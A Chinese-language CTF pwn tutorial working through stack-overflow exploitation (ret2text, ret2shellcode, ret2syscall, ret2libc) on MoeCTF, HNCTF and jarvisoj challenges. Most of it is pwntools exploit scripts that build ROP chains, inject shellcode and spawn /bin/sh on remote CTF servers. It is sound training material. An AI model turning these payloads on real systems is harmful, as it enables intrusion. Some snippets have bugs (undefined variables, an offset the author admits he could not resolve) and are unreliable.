0x0-保护对抗:
开启PIE:
1、可利用格式化字符串泄露程序基地址
2、也可通过修改低字节进行绕过
开启Canary:
1、利用put printf 函数泄露,从而利用
2、利用格式化字符串绕过
查找system sh:
有时候IDA pro中无法准确定位call _system,可以直接在命令行使用:
objdump -S service | grep system
有时候二进制程序中没有/bin/sh,但可能会存在sh,可以使用:
ROPgadget --binary service --string "sh"
也可以使用pwntools自带的工具:
elf = ELF('./service')
p32(next(elf.search(b'sh\x00')))
0x1-ret2text
ret2text的特点一般是栈溢出+‘后门’函数,直接溢出后,ret地址修改为‘后门’函数地址即可。
MoeCTF 2022 ret2text[64位]:
常规操作,先checksec,64位、只开了NX:
然后丢到IDA中反编译查看,发现存在‘后门’函数:
read处存在栈溢出漏洞:
通过伪代码可以看到buf的大小为40h,加上64位程序,故溢出padding为40h+8,直接写payload:
from pwn import *
p = remote("1.14.71.254",28026)
backdoor = 0x4014BA
pop_ret = 0x40101a
payload = b'a'*(0x40+8)+p64(pop_ret)+p64(backdoor)
p.sendlineafter("Make a wish: ",payload)
p.interactive()
有时候64位打不通,需要增加一个ret地址,可通过ROPgadget查找。
from pwn import *
io = remote('pwn.jarvisoj.com',9876)
io.recvline()
payload= b'A'*136 + p64(0x400620)
io.send(payload)
io.interactive()
Test Your Memory[32位]:
惯例先checksec看一下:
32位,只开了NX保护,运行一下看看:
将程序丢进IDA查看,查看main:
基本就是开头打印的那串随机字符串逻辑,点击mem_test函数查看:
点击hint看一下:
自带了cat flag
接着用GDB动态调试看一下,直接在输入处下断点:
利用pattern_create
先生成100个字符串,输入看断点:
偏移可知为19,换算成16进制即0x13:
然后发现程序中也自带了system:
双击,而后可通过proc near直接定位到system调用地址:
即0x08045C9:
打开pwntools,编写代码:
from pwn import *
context.log_level = "debug"
io = remote("pwn2.jarvisoj.com",9876)
system_addr = 0x08045C9
cat_addr = 0x080487E0
payload = b'A'*0x13 + b'BBBB' + p32(system)+p32(cat)
io.recv()
io.send(payload)
io.interactive()
获得flag:
0x2-ret2shellcode
ret2shellcode的特点一般是程序中没有‘后门’函数,但存在一段可以读写的.bss段,直接溢出后,ret地址修改为bss段地址,然后手写或自动生成shellcode即可。
HNCTF 2022 ret2shellcode[64位]:
一般ret2shellcode的套路都是NX开启,然后程序中没有‘后门’函数(system&bin_sh),但是往往存在可以读写的.bss段,那么大概率就是利用ret2shell:
因此惯用的解决方式就是,找到padding偏移位置后跟上buff地址后,直接shellcraft生成shellcode即可:
from pwn import *
#io = process('./shellcode')
io = remote('node5.anna.nssctf.cn',28227)
elf = ELF('./shellcode')
context (os='linux',arch='amd64',log_level='debug')
padding = 264
pop_rdi =0x4012e3
ret = 0x40101a
buff = 0x4040A0
payload = asm(shellcraft.sh()).ljust(padding,b'\x00') + p64(buff)
io.sendline(payload)
io.interactive()
Smashes[64位]:
同样先checksec看一下:
除了NX保护,还有Canary和FORTIFY保护,因此无法在堆栈中写入Shellcode。
在程序加了 canary 保护之后,如果我们输入的内容覆盖掉 canary 的话就会报错,程序就会执行 stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名,但是如果我们能够利用栈溢出控制这个东西,那我们就可以让 stack_chk_fail 打印出我们想要的东西
丢进IDA64看一下,发现sub_4007E0有点东西:
其中600D20处为Flag打印的地方:
memset() 函数用来将指定内存的前n个字节设置为特定的值,其原型为:
void * memset( void * ptr, int value, size_t num );
也就是说,即使不去第二遍输入,程序也会自动将其设置为0
在输入处输入300长度的字符,会导致Canary保护:
远程连接查看错误:
会发现指针argv[0]打印了文件名。
使用gdb调试,在main下断点 b *0x4006d0
:
可以看到文件名称存放在0x7fffffffe378,而实际地址是0x7fffffffe458。也可以在peda中直接输入
p & __libc_argv[0]
直接查看argv[0]地址:
然后在__IO_gets处(0x40080E)下断点,运行后,在name提示处随便输入一些内容:
可以看到输入位置为0x7fffffffe230,通过0x7fffffffe458-0x7fffffffe230=0x228,与Writeup上的0x218不符,这点一直没能解决。
最终参考writeup使用pwntools编写代码即可获取flag:
from pwn import *
p=process('./readme')
p=remote('pwn.jarvisoj.com',9877)
payload='a'*0x218+p64(0x400d20)
p.sendlineafter('name? ',payload)
p.sendlineafter('flag: ','123')
print p.recv()
0x3-ret2call
ret2call与ret2shellcode有点相似,但有少许不同,特点同样为程序中无‘后门’函数,有一处可读写的.bss段,但.bss段不够长,因此需要寻找类似execve的syscall指令来实现getshell.
cmcc_simplerop[32位]:
程序为32位,只开了NX防护,丢IDA查看,没发现‘后门’函数,程序逻辑比较简单:
vmmap发现存在可读写的.bss段:
gdb动态调试,崩溃溢出长度为32:
即然是ret2call,那么只能从程序中寻找可调用的syscall命令:
ROPgadget --binary simplerop --only "execve"
ROPgadget --binary simplerop --only "int"
关于系统调用表,详细参考:https://blog.csdn.net/xiaominthere/article/details/17287965
(32位)寄存器eax存放调用号,剩下的几个寄存器(依次为eax、ebx、ecx、edx)存放参数。
以sys_write为例说明,函数原型:
sys_write(unsigned int fd, const char * buf, size_t count)
而如果想使用sys_execve的话,则可以参考上表:
int80(11,"/bin/sh",null,null)
那么首先可以通过利用read函数将binsh字符串写入bss段,然后再执行int80:
from pwn import *
#io = process('./simplerop')
io =remote('node4.buuoj.cn',25187)
context(os='linux',arch='i386',log_level='debug')
padding = 32
int_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr =0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850
payload = b'A'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
io.sendline(payload)
io.send(b'/bin/sh\x00')
io.interactive()
ret2syscall[32位]:
同样只开了NX保护,程序逻辑简单,存在明显的栈溢出,没有任何‘后门’函数:
利用方式与上个例题类似:
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_80 = 0x08049421
bin_sh = 0x080be408
#下面两种payload的写法的作用一样,flat的方便在于直接以list形式,将gadget作为参数一一放入即可
payload = b'A' * 0x70 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) +p32(bin_sh) + p32(int_80)
payload = flat(['A' * 0x70, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh, int_80])
sh.sendline(payload)
sh.interactive()
0x4-ret2libc
ret2libc的特点一般是通过puts、write、printf或是格式化字符串泄露程序基地址后,然后构建rop实现getshell.
PS:关于write的利用,根据write函数用法,可以通过write_plt来泄露got地址,而为了防止程序崩溃,最好还要将ret地址改为start/main:
write(1,addr_got,4)
64位则为write(1,addr_got,8)
jarvisoj_level3_x64[64位]:
同样只开了NX保护:
程序逻辑很简单,一个main,一个vuln函数,vuln函数存在栈溢出,无system和binsh:
64位和32位利用有所不同:
[32位]判断libc版本:
b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
[32位]getshell:
b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
[64位]判断libc版本:
b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
[64位]getshell:
b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)+ p64(system_addr)
一图胜千言
同样以write为例,堆栈布局:
通过write泄露地址,然后ROP:
from pwn import *
from LibcSearcher import *
p=remote("pwn2.jarvisoj.com",9883)
elf=ELF("./level3_x64")
main_addr=0x040061A
pop_rdi = 0x04006b3
pop_rsi = 0x04006b1
write_plt=elf.plt["write"]
write_got=elf.got["write"]
read_plt=elf.plt["read"]
payload = 'a'*(0x80 + 0x8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(write_got) + p64(8)
payload += p64(write_plt) + p64(main_addr)
p.sendlineafter("Input:\n",payload)
write_addr = u64(p.recv(8))
log.success("write_addr: "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
payload = 'a'*(0x80 + 0x8) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
p.sendlineafter("Input:\n",payload)
p.interactive()
jarvisoj_level3[32位]:
同样通过write泄露地址,然后ROP:
from pwn import *
context.log_level = "debug"
#io = process('./level3')
io = remote('pwn2.jarvisoj.com',9879)
elf = ELF('./level3')
libcelf = ELF('./libc-2.19.so')
vuln_addr = 0x0804844B
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
print ("[*]write_plt:" + hex(write_plt))
print ("[*]write_got:" + hex(write_got))
payload = b'A'*140 + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
io.recv()
io.send(payload)
write_addr = u32(io.recv(4))
print ("[*]leak write_address:" + hex(write_addr))
write_offset_addr = libcelf.symbols['write']
print ("[*]write_offset_address:" + hex(write_offset_addr))
libc_addr = write_addr - write_offset_addr
print("[*]libc address:"+hex(libc_addr))
system_addr = libc_addr + libcelf.symbols['system']
print("[*]system address:" + hex(system_addr))
binsh_offset_addr = next(libcelf.search(b'/bin/sh'))
print("[*]bin_sh_offset_address:"+ hex(binsh_offset_addr))
binsh_addr = libc_addr + binsh_offset_addr
print ("[*]binsh_address:"+hex(binsh_addr))
payload2 = b'A'* 140 + p32(system_addr) + b'BBBB' + p32(binsh_addr)
#io.recv()
io.send(payload2)
io.interactive()